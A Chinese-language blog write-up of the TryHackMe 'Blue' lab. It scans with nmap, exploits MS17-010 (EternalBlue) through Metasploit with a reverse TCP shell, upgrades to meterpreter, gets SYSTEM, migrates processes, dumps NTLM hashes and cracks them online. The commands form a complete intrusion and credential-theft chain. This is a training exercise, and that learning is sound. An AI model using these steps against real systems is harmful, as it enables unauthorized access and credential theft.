TryHackMe | Blue Writeup(msf渗透)

TryHackMe | Blue Writeup(msf渗透)

首先就是打开靶机,然后openvpn与tryhackme靶机内网建立连接

判断是否连接上可以通过命令ifconfig 如果连接成功我们可以看到多了这个tun0

image-20230629184612474

Task1 Recon

image-20230629184737151

nmap扫描机器在上一个room有教程

那我们就直接命令开扫

nmap -sV -vv --script vuln 目标ip

这几个参数的意思如下

-sV 版本探测
-vv 对结果的详细输出
–script 指定使用的nmap脚本,可以理解为插件,这里的vuln,是检查目标机是否有常见的漏洞

image-20230629185359625

How many ports are open with a port number under 1000?

题目问有多少个端口号小于1000的端口是开放的,根据扫描结果,很明显 1000以内只有3个端口 135 139 445 所以答案填3

What is this machine vulnerable to?

题目问这台机器的入侵点

结果扫描了个啥也不知道,然后后面换了kali上的nmap扫才扫出来 估计是我Ubuntu上的版本问题

image-20230629192432104

答案 ms17-010 (也就是永恒之蓝)

Task2 Gain Access

image-20230629192559854

Start Metasploit

启动msf,使用msfconsole命令即可,有个小知识点,在我们第一次使用msfconsole以前,可以先使用msfdb init对数据库进行初始化,有利于提高search的效率

本机说直接运行msfconsole,没有的可以安装一下,不过kali一般自带的好像

等到出现这个msf6 >就可以了

Find the exploitation code we will run against the machine. What is the full path of the code?

找到攻击载荷,并填写完整的载荷路径,那我们已知漏洞号为ms17-010,使用msf的search命令查找

search ms17-010

image-20230629193131249

显示了0-4共5个模块

0是我们需要的载荷,win7永恒之蓝
1是永恒浪漫,也是ms17-010的利用方式,具体区别可以自行搜索
2和3 是auxiliary模块,即测试模块,测试是否可以利用该漏洞
4是DoublePulsar双脉冲星,nsa武器库之一

所以答案就是 exploit/windows/smb/ms17_010_eternalblue

Show options and set the one required value. What is the name of this value

show options有一个必须值,问我们叫什么

那么我们可以先用use命令 来确定我们要使用的 然后再用show options

所以就是

use 0 或者 use exploit/windows/smb/ms17_010_eternalblue
然后 show option

image-20230629193803203

我们可以看到name里面有几个是空的,说明就是需要我们自己去填内容的,但是其中有几个的Required是no 所以不满足要求,只有第一个RHOSTS是满足要求的,就是答案

With that done, run the exploit!

依照题目意思,输入set payload windows/x64/shell/reverse_tcp

设置好后,我们还需要设置RHOSTSLHOSTSRHOSTS是我们的模块需要,而LHOSTS是因为我们使用的是reverse的payload,所以需要设置回弹监听的地址,将RHOSTS设置为目标靶机LHOSTS设置为攻击机即可,设置完成后执行exploit或者run即可发起攻击

set RHOSTS 目标ip
set LHOSTS tun0 (这个就是我们之前弄openvpn的那个)

image-20230629194446597

通常,按原样运行此漏洞就可以了;但是,为了学习,您应该在利用目标之前再做一件事。输入以下命令并按 Enter 键:

set payload windows/x64/shell/reverse_tcp

然后执行run或者exploit

image-20230629202340294

image-20230629203348179

执行成功

然后输入Ctrl+Z保存session

image-20230629203530509

Task3 Escalate

Escalate privileges, learn how to upgrade shells in metasploit. 升级权限,了解如何在 Metasploit 中升级 shell。

Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use?

怎么把一个普通shell提升成meterpreter shell,是用post模块里的哪一个载荷

根据这个文章Metasploit中将shell升级为metepreter shell我们可以看出,载荷名称为post/multi/manage/shell_to_meterpreter

Select this (use MODULE_PATH). Show options, what option are we required to change?

题目叫我们使用这个module后执行show options ,需要修改哪个options

image-20230629211809526

跟上面那个RHOSTS一样,所以这题答案是SESSION

Set the required option, you may need to list all of the sessions to find your target here.

列出所有session的命令是sessions -l

找到你的sessionid后 然后设置session的命令是set session id

然后run运行

然后就能看到多了一个session

image-20230629212908555

Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel free to open a dos shell via the command ‘shell’ and run ‘whoami’.

题目需要我们升级到NT AUTHORITY\SYSTEM权限,使用getsystem来验证,还需要用cmdshell执行whoami

sessions id可以启动那个id的session

这里加个注释
NT AUTHORITY\SYSTEM权限 系统内置账号,对本地系统拥有完全控制权限,可以通俗的理解成Windows最高权限

getsystem 这个命令通常理解成msfshell下的提权命令,其实实际上是对管理员组用户才能奏效,而且有一定的限制,通常情况下普通用户我们还是采用其他溢出漏洞来进行提权,这里题目中直接使用getsystem即可

image-20230629213731161

image-20230629213836591

 

List all of the processes running via the 'ps' command. Migrate to this process using the 'migrate PROCESS_ID' command where the process id is the one you just wrote down in the previous step.

虽然我们是最高权限了,但我们注入的进程可能不是,叫我们将进程注入到一个最高权限运行的进程中去 这里我们使用到的是msfshell中的ps命令,列出进程目录,migrate PROCESS_ID命令注入进程

image-20230629214307291

image-20230629214323425

 

Task4 Cracking

这一步叫我们在msfshell使用hashdump来获取机器上存储的密码,还问我们哪一个是非默认用户

hashdump必须在最高权限下才可执行!
Windows在/system/config文件夹的SAM文件中存储了系统中所有的用户名和密码,当然密码经过了加密。hashdump就是去获取这个SAM文件并获取目标主机的账号密码hash信息

image-20230704111115540

hashdump的数据的输出格式为 用户名:SID:LM哈希:NTLM哈希:::

看用户的名字就能知道 在这里,AdministratorGuest是Windows默认的管理员和来宾账户,Jon很显然是我们要找的非默认用户

接下来要我们做的是去破解jon密码的hash,现在一般破解的是ntlm哈希,有在线网站可以破解,这里推荐一个的NTLM破解网站NTLM破解网站

image-20230704112409680

Task5 Find flags!

Flag1? This flag can be found at the system root.

先创建一个cmdshell

image-20230704112820665

根据题目提示,这个flag可以在用户根目录找到,那我们就cd到c盘根目录,然后执行dir找到目标

image-20230704112945555

image-20230704113101523

Flag2? This flag can be found at the location where passwords are stored within Windows.

第二个flag题目说可以在Windows存储密码的地方找到,那就是SAM文件的路径Windows7下SAM文件的路径为C:\Windows\System32\config

image-20230704113535814

image-20230704113602171

flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.

先看了 C:/Users/Administrator 文件夹,但该文件夹不存在。但是Jon是一名管理员,所以让我们看看Jon的

猜测是用户文件夹,windows用户文件夹路径为c:\Users\USER_NAME\documents,

那么Jon的文件夹路径也就是(c:\Users\Jon\documents

image-20230704113807768


 

posted @ 2023-06-29 20:19  L0VEhzzz  阅读(168)  评论(0编辑  收藏  举报